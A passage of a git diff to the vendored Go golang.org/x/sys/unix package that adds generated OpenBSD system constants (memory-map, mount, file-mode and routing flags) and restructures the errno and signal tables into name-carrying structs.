-+ KERN_VERSION = 0x4
- LCNT_OVERLOAD_FLUSH = 0x6
- LOCK_EX = 0x2
- LOCK_NB = 0x4
-@@ -873,10 +881,11 @@ const (
- MADV_WILLNEED = 0x3
- MAP_ANON = 0x1000
- MAP_ANONYMOUS = 0x1000
-+ MAP_CONCEAL = 0x8000
- MAP_COPY = 0x2
- MAP_FILE = 0x0
- MAP_FIXED = 0x10
-- MAP_FLAGMASK = 0x3ff7
-+ MAP_FLAGMASK = 0xfff7
- MAP_HASSEMAPHORE = 0x0
- MAP_INHERIT = 0x0
- MAP_INHERIT_COPY = 0x1
-@@ -888,9 +897,36 @@ const (
- MAP_PRIVATE = 0x2
- MAP_RENAME = 0x0
- MAP_SHARED = 0x1
-+ MAP_STACK = 0x4000
- MAP_TRYFIXED = 0x0
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ASYNC = 0x40
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DELEXPORT = 0x20000
-+ MNT_DOOMED = 0x8000000
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXRDONLY = 0x80
-+ MNT_FORCE = 0x80000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_NOATIME = 0x8000
-+ MNT_NODEV = 0x10
-+ MNT_NOEXEC = 0x4
-+ MNT_NOSUID = 0x8
-+ MNT_NOWAIT = 0x2
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SOFTDEP = 0x4000000
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UPDATE = 0x10000
-+ MNT_VISFLAGMASK = 0x400ffff
-+ MNT_WAIT = 0x1
-+ MNT_WANTRDWR = 0x2000000
-+ MNT_WXALLOWED = 0x800
- MSG_BCAST = 0x100
- MSG_CMSG_CLOEXEC = 0x800
- MSG_CTRUNC = 0x20
-@@ -913,6 +949,7 @@ const (
- NET_RT_MAXID = 0x6
- NET_RT_STATS = 0x4
- NET_RT_TABLE = 0x5
-+ NFDBITS = 0x20
- NOFLSH = 0x80000000
- NOTE_ATTRIB = 0x8
- NOTE_CHILD = 0x4
-@@ -1213,6 +1250,34 @@ const (
- SO_TIMESTAMP = 0x800
- SO_TYPE = 0x1008
- SO_USELOOPBACK = 0x40
-+ S_BLKSIZE = 0x200
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISTXT = 0x200
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
- TCIFLUSH = 0x1
- TCIOFLUSH = 0x3
- TCOFLUSH = 0x2
-@@ -1455,132 +1520,140 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "connection timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "IPsec processing failure",
-- 83: "attribute not found",
-- 84: "illegal byte sequence",
-- 85: "no medium found",
-- 86: "wrong medium type",
-- 87: "value too large to be stored in data type",
-- 88: "operation canceled",
-- 89: "identifier removed",
-- 90: "no message of desired type",
-- 91: "not supported",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EWOULDBLOCK", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disk quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC program not available"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIPSEC", "IPsec processing failure"},
-+ {83, "ENOATTR", "attribute not found"},
-+ {84, "EILSEQ", "illegal byte sequence"},
-+ {85, "ENOMEDIUM", "no medium found"},
-+ {86, "EMEDIUMTYPE", "wrong medium type"},
-+ {87, "EOVERFLOW", "value too large to be stored in data type"},
-+ {88, "ECANCELED", "operation canceled"},
-+ {89, "EIDRM", "identifier removed"},
-+ {90, "ENOMSG", "no message of desired type"},
-+ {91, "ELAST", "not supported"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "stopped (signal)",
-- 18: "stopped",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "thread AST",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGABRT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGTHR", "thread AST"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_openbsd_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_openbsd_arm64.go
-similarity index 76%
-copy from vendor/golang.org/x/sys/unix/zerrors_openbsd_amd64.go
-copy to vendor/golang.org/x/sys/unix/zerrors_openbsd_arm64.go
-index 1758ecca..1792d3f1 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_openbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_openbsd_arm64.go
-@@ -1,9 +1,9 @@
- // mkerrors.sh -m64
--// MACHINE GENERATED BY THE COMMAND ABOVE; DO NOT EDIT
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build amd64,openbsd
-+// +build arm64,openbsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m64 _const.go
-
- package unix
-@@ -45,6 +45,7 @@ const (
- AF_SNA = 0xb
- AF_UNIX = 0x1
- AF_UNSPEC = 0x0
-+ ALTWERASE = 0x200
- ARPHRD_ETHER = 0x1
- ARPHRD_FRELAY = 0xf
- ARPHRD_IEEE1394 = 0x18
-@@ -107,6 +108,9 @@ const (
- BPF_DIRECTION_IN = 0x1
- BPF_DIRECTION_OUT = 0x2
- BPF_DIV = 0x30
-+ BPF_FILDROP_CAPTURE = 0x1
-+ BPF_FILDROP_DROP = 0x2
-+ BPF_FILDROP_PASS = 0x0
- BPF_H = 0x8
- BPF_IMM = 0x0
- BPF_IND = 0x40
-@@ -146,7 +150,14 @@ const (
- BRKINT = 0x2
- CFLUSH = 0xf
- CLOCAL = 0x8000
-+ CLOCK_BOOTTIME = 0x6
-+ CLOCK_MONOTONIC = 0x3
-+ CLOCK_PROCESS_CPUTIME_ID = 0x2
-+ CLOCK_REALTIME = 0x0
-+ CLOCK_THREAD_CPUTIME_ID = 0x4
-+ CLOCK_UPTIME = 0x5
- CREAD = 0x800
-+ CRTSCTS = 0x10000
- CS5 = 0x0
- CS6 = 0x100
- CS7 = 0x200
-@@ -157,6 +168,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- DIOCOSFPFLUSH = 0x2000444e
-@@ -175,6 +188,7 @@ const (
- DLT_LOOP = 0xc
- DLT_MPLS = 0xdb
- DLT_NULL = 0x0
-+ DLT_OPENFLOW = 0x10b
- DLT_PFLOG = 0x75
- DLT_PFSYNC = 0x12
- DLT_PPP = 0x9
-@@ -185,6 +199,23 @@ const (
- DLT_RAW = 0xe
- DLT_SLIP = 0x8
- DLT_SLIP_BSDOS = 0xf
-+ DLT_USBPCAP = 0xf9
-+ DLT_USER0 = 0x93
-+ DLT_USER1 = 0x94
-+ DLT_USER10 = 0x9d
-+ DLT_USER11 = 0x9e
-+ DLT_USER12 = 0x9f
-+ DLT_USER13 = 0xa0
-+ DLT_USER14 = 0xa1
-+ DLT_USER15 = 0xa2
-+ DLT_USER2 = 0x95
-+ DLT_USER3 = 0x96
-+ DLT_USER4 = 0x97
-+ DLT_USER5 = 0x98
-+ DLT_USER6 = 0x99
-+ DLT_USER7 = 0x9a
-+ DLT_USER8 = 0x9b
-+ DLT_USER9 = 0x9c
- DT_BLK = 0x6
- DT_CHR = 0x2
- DT_DIR = 0x4
-@@ -324,6 +355,7 @@ const (
- ETHERTYPE_OS9NET = 0x7009
- ETHERTYPE_PACER = 0x80c6
- ETHERTYPE_PAE = 0x888e
-+ ETHERTYPE_PBB = 0x88e7
- ETHERTYPE_PCS = 0x4242
- ETHERTYPE_PLANNING = 0x8044
- ETHERTYPE_PPP = 0x880b
-@@ -398,27 +430,38 @@ const (
- ETHER_CRC_POLY_LE = 0xedb88320
- ETHER_HDR_LEN = 0xe
- ETHER_MAX_DIX_LEN = 0x600
-+ ETHER_MAX_HARDMTU_LEN = 0xff9b
- ETHER_MAX_LEN = 0x5ee
- ETHER_MIN_LEN = 0x40
- ETHER_TYPE_LEN = 0x2
- ETHER_VLAN_ENCAP_LEN = 0x4
- EVFILT_AIO = -0x3
-+ EVFILT_DEVICE = -0x8
- EVFILT_PROC = -0x5
- EVFILT_READ = -0x1
- EVFILT_SIGNAL = -0x6
-- EVFILT_SYSCOUNT = 0x7
-+ EVFILT_SYSCOUNT = 0x8
- EVFILT_TIMER = -0x7
- EVFILT_VNODE = -0x4
- EVFILT_WRITE = -0x2
-+ EVL_ENCAPLEN = 0x4
-+ EVL_PRIO_BITS = 0xd
-+ EVL_PRIO_MAX = 0x7
-+ EVL_VLID_MASK = 0xfff
-+ EVL_VLID_MAX = 0xffe
-+ EVL_VLID_MIN = 0x1
-+ EVL_VLID_NULL = 0x0
- EV_ADD = 0x1
- EV_CLEAR = 0x20
- EV_DELETE = 0x2
- EV_DISABLE = 0x8
-+ EV_DISPATCH = 0x80
- EV_ENABLE = 0x4
- EV_EOF = 0x8000
- EV_ERROR = 0x4000
- EV_FLAG1 = 0x2000
- EV_ONESHOT = 0x10
-+ EV_RECEIPT = 0x40
- EV_SYSFLAGS = 0xf000
- EXTA = 0x4b00
- EXTB = 0x9600
-@@ -432,6 +475,7 @@ const (
- F_GETFL = 0x3
- F_GETLK = 0x7
- F_GETOWN = 0x5
-+ F_ISATTY = 0xb
- F_OK = 0x0
- F_RDLCK = 0x1
- F_SETFD = 0x2
-@@ -442,13 +486,13 @@ const (
- F_UNLCK = 0x2
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
- IEXTEN = 0x400
- IFAN_ARRIVAL = 0x0
- IFAN_DEPARTURE = 0x1
-- IFA_ROUTE = 0x1
- IFF_ALLMULTI = 0x200
- IFF_BROADCAST = 0x2
- IFF_CANTCHANGE = 0x8e52
-@@ -459,12 +503,12 @@ const (
- IFF_LOOPBACK = 0x8
- IFF_MULTICAST = 0x8000
- IFF_NOARP = 0x80
-- IFF_NOTRAILERS = 0x20
- IFF_OACTIVE = 0x400
- IFF_POINTOPOINT = 0x10
- IFF_PROMISC = 0x100
- IFF_RUNNING = 0x40
- IFF_SIMPLEX = 0x800
-+ IFF_STATICARP = 0x20
- IFF_UP = 0x1
- IFNAMSIZ = 0x10
- IFT_1822 = 0x2
-@@ -593,6 +637,7 @@ const (
- IFT_LINEGROUP = 0xd2
- IFT_LOCALTALK = 0x2a
- IFT_LOOP = 0x18
-+ IFT_MBIM = 0xfa
- IFT_MEDIAMAILOVERIP = 0x8b
- IFT_MFSIGLINK = 0xa7
- IFT_MIOX25 = 0x26
-@@ -717,8 +762,6 @@ const (
- IPPROTO_AH = 0x33
- IPPROTO_CARP = 0x70
- IPPROTO_DIVERT = 0x102
-- IPPROTO_DIVERT_INIT = 0x2
-- IPPROTO_DIVERT_RESP = 0x1
- IPPROTO_DONE = 0x101
- IPPROTO_DSTOPTS = 0x3c
- IPPROTO_EGP = 0x8
-@@ -775,6 +818,7 @@ const (
- IPV6_LEAVE_GROUP = 0xd
- IPV6_MAXHLIM = 0xff
- IPV6_MAXPACKET = 0xffff
-+ IPV6_MINHOPCOUNT = 0x41
- IPV6_MMTU = 0x500
- IPV6_MULTICAST_HOPS = 0xa
- IPV6_MULTICAST_IF = 0x9
-@@ -814,12 +858,12 @@ const (
- IP_DEFAULT_MULTICAST_LOOP = 0x1
- IP_DEFAULT_MULTICAST_TTL = 0x1
- IP_DF = 0x4000
-- IP_DIVERTFL = 0x1022
- IP_DROP_MEMBERSHIP = 0xd
- IP_ESP_NETWORK_LEVEL = 0x16
- IP_ESP_TRANS_LEVEL = 0x15
- IP_HDRINCL = 0x2
- IP_IPCOMP_LEVEL = 0x1d
-+ IP_IPDEFTTL = 0x25
- IP_IPSECFLOWINFO = 0x24
- IP_IPSEC_LOCAL_AUTH = 0x1b
- IP_IPSEC_LOCAL_CRED = 0x19
-@@ -853,13 +897,19 @@ const (
- IP_RETOPTS = 0x8
- IP_RF = 0x8000
- IP_RTABLE = 0x1021
-+ IP_SENDSRCADDR = 0x7
- IP_TOS = 0x3
- IP_TTL = 0x4
- ISIG = 0x80
- ISTRIP = 0x20
-+ IUCLC = 0x1000
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LCNT_OVERLOAD_FLUSH = 0x6
- LOCK_EX = 0x2
- LOCK_NB = 0x4
-@@ -873,25 +923,58 @@ const (
- MADV_SPACEAVAIL = 0x5
- MADV_WILLNEED = 0x3
- MAP_ANON = 0x1000
-- MAP_COPY = 0x4
-+ MAP_ANONYMOUS = 0x1000
-+ MAP_CONCEAL = 0x8000
-+ MAP_COPY = 0x2
- MAP_FILE = 0x0
- MAP_FIXED = 0x10
-- MAP_FLAGMASK = 0x1ff7
-- MAP_HASSEMAPHORE = 0x200
-- MAP_INHERIT = 0x80
-+ MAP_FLAGMASK = 0xfff7
-+ MAP_HASSEMAPHORE = 0x0
-+ MAP_INHERIT = 0x0
- MAP_INHERIT_COPY = 0x1
-- MAP_INHERIT_DONATE_COPY = 0x3
- MAP_INHERIT_NONE = 0x2
- MAP_INHERIT_SHARE = 0x0
-- MAP_NOEXTEND = 0x100
-- MAP_NORESERVE = 0x40
-+ MAP_INHERIT_ZERO = 0x3
-+ MAP_NOEXTEND = 0x0
-+ MAP_NORESERVE = 0x0
- MAP_PRIVATE = 0x2
-- MAP_RENAME = 0x20
-+ MAP_RENAME = 0x0
- MAP_SHARED = 0x1
-- MAP_TRYFIXED = 0x400
-+ MAP_STACK = 0x4000
-+ MAP_TRYFIXED = 0x0
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ASYNC = 0x40
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DELEXPORT = 0x20000
-+ MNT_DOOMED = 0x8000000
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXRDONLY = 0x80
-+ MNT_FORCE = 0x80000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_NOATIME = 0x8000
-+ MNT_NODEV = 0x10
-+ MNT_NOEXEC = 0x4
-+ MNT_NOPERM = 0x20
-+ MNT_NOSUID = 0x8
-+ MNT_NOWAIT = 0x2
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SOFTDEP = 0x4000000
-+ MNT_STALLED = 0x100000
-+ MNT_SWAPPABLE = 0x200000
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UPDATE = 0x10000
-+ MNT_VISFLAGMASK = 0x400ffff
-+ MNT_WAIT = 0x1
-+ MNT_WANTRDWR = 0x2000000
-+ MNT_WXALLOWED = 0x800
- MSG_BCAST = 0x100
-+ MSG_CMSG_CLOEXEC = 0x800
- MSG_CTRUNC = 0x20
- MSG_DONTROUTE = 0x4
- MSG_DONTWAIT = 0x80
-@@ -909,11 +992,15 @@ const (
- NET_RT_DUMP = 0x1
- NET_RT_FLAGS = 0x2
- NET_RT_IFLIST = 0x3
-- NET_RT_MAXID = 0x6
-+ NET_RT_IFNAMES = 0x6
-+ NET_RT_MAXID = 0x7
- NET_RT_STATS = 0x4
- NET_RT_TABLE = 0x5
-+ NFDBITS = 0x20
- NOFLSH = 0x80000000
-+ NOKERNINFO = 0x2000000
- NOTE_ATTRIB = 0x8
-+ NOTE_CHANGE = 0x1
- NOTE_CHILD = 0x4
- NOTE_DELETE = 0x1
- NOTE_EOF = 0x2
-@@ -932,11 +1019,13 @@ const (
- NOTE_TRUNCATE = 0x80
- NOTE_WRITE = 0x2
- OCRNL = 0x10
-+ OLCUC = 0x20
- ONLCR = 0x2
- ONLRET = 0x80
- ONOCR = 0x40
- ONOEOT = 0x8
- OPOST = 0x1
-+ OXTABS = 0x4
- O_ACCMODE = 0x3
- O_APPEND = 0x8
- O_ASYNC = 0x40
-@@ -974,23 +1063,32 @@ const (
- RLIMIT_CPU = 0x0
- RLIMIT_DATA = 0x2
- RLIMIT_FSIZE = 0x1
-+ RLIMIT_MEMLOCK = 0x6
- RLIMIT_NOFILE = 0x8
-+ RLIMIT_NPROC = 0x7
-+ RLIMIT_RSS = 0x5
- RLIMIT_STACK = 0x3
- RLIM_INFINITY = 0x7fffffffffffffff
- RTAX_AUTHOR = 0x6
-+ RTAX_BFD = 0xb
- RTAX_BRD = 0x7
-+ RTAX_DNS = 0xc
- RTAX_DST = 0x0
- RTAX_GATEWAY = 0x1
- RTAX_GENMASK = 0x3
- RTAX_IFA = 0x5
- RTAX_IFP = 0x4
- RTAX_LABEL = 0xa
-- RTAX_MAX = 0xb
-+ RTAX_MAX = 0xf
- RTAX_NETMASK = 0x2
-+ RTAX_SEARCH = 0xe
- RTAX_SRC = 0x8
- RTAX_SRCMASK = 0x9
-+ RTAX_STATIC = 0xd
- RTA_AUTHOR = 0x40
-+ RTA_BFD = 0x800
- RTA_BRD = 0x80
-+ RTA_DNS = 0x1000
- RTA_DST = 0x1
- RTA_GATEWAY = 0x2
- RTA_GENMASK = 0x8
-@@ -998,46 +1096,54 @@ const (
- RTA_IFP = 0x10
- RTA_LABEL = 0x400
- RTA_NETMASK = 0x4
-+ RTA_SEARCH = 0x4000
- RTA_SRC = 0x100
- RTA_SRCMASK = 0x200
-+ RTA_STATIC = 0x2000
- RTF_ANNOUNCE = 0x4000
-+ RTF_BFD = 0x1000000
- RTF_BLACKHOLE = 0x1000
-+ RTF_BROADCAST = 0x400000
-+ RTF_CACHED = 0x20000
- RTF_CLONED = 0x10000
- RTF_CLONING = 0x100
-+ RTF_CONNECTED = 0x800000
- RTF_DONE = 0x40
- RTF_DYNAMIC = 0x10
-- RTF_FMASK = 0x10f808
-+ RTF_FMASK = 0x110fc08
- RTF_GATEWAY = 0x2
- RTF_HOST = 0x4
- RTF_LLINFO = 0x400
-- RTF_MASK = 0x80
-+ RTF_LOCAL = 0x200000
- RTF_MODIFIED = 0x20
- RTF_MPATH = 0x40000
- RTF_MPLS = 0x100000
-+ RTF_MULTICAST = 0x200
- RTF_PERMANENT_ARP = 0x2000
- RTF_PROTO1 = 0x8000
- RTF_PROTO2 = 0x4000
- RTF_PROTO3 = 0x2000
- RTF_REJECT = 0x8
-- RTF_SOURCE = 0x20000
- RTF_STATIC = 0x800
-- RTF_TUNNEL = 0x100000
- RTF_UP = 0x1
- RTF_USETRAILERS = 0x8000
-- RTF_XRESOLVE = 0x200
-+ RTM_80211INFO = 0x15
- RTM_ADD = 0x1
-+ RTM_BFD = 0x12
- RTM_CHANGE = 0x3
-+ RTM_CHGADDRATTR = 0x14
- RTM_DELADDR = 0xd
- RTM_DELETE = 0x2
- RTM_DESYNC = 0x10
- RTM_GET = 0x4
- RTM_IFANNOUNCE = 0xf
- RTM_IFINFO = 0xe
-- RTM_LOCK = 0x8
-+ RTM_INVALIDATE = 0x11
- RTM_LOSING = 0x5
- RTM_MAXSIZE = 0x800
- RTM_MISS = 0x7
- RTM_NEWADDR = 0xc
-+ RTM_PROPOSAL = 0x13
- RTM_REDIRECT = 0x6
- RTM_RESOLVE = 0xb
- RTM_RTTUNIT = 0xf4240
-@@ -1050,6 +1156,8 @@ const (
- RTV_RTTVAR = 0x80
- RTV_SPIPE = 0x10
- RTV_SSTHRESH = 0x20
-+ RT_TABLEID_BITS = 0x8
-+ RT_TABLEID_MASK = 0xff
- RT_TABLEID_MAX = 0xff
- RUSAGE_CHILDREN = -0x1
- RUSAGE_SELF = 0x0
-@@ -1062,55 +1170,57 @@ const (
- SIOCADDMULTI = 0x80206931
- SIOCAIFADDR = 0x8040691a
- SIOCAIFGROUP = 0x80286987
-- SIOCALIFADDR = 0x8218691c
- SIOCATMARK = 0x40047307
-- SIOCBRDGADD = 0x8058693c
-- SIOCBRDGADDS = 0x80586941
-- SIOCBRDGARL = 0x806e694d
-+ SIOCBRDGADD = 0x8060693c
-+ SIOCBRDGADDL = 0x80606949
-+ SIOCBRDGADDS = 0x80606941
-+ SIOCBRDGARL = 0x808c694d
- SIOCBRDGDADDR = 0x81286947
-- SIOCBRDGDEL = 0x8058693d
-- SIOCBRDGDELS = 0x80586942
-- SIOCBRDGFLUSH = 0x80586948
-- SIOCBRDGFRL = 0x806e694e
-- SIOCBRDGGCACHE = 0xc0146941
-- SIOCBRDGGFD = 0xc0146952
-- SIOCBRDGGHT = 0xc0146951
-- SIOCBRDGGIFFLGS = 0xc058693e
-- SIOCBRDGGMA = 0xc0146953
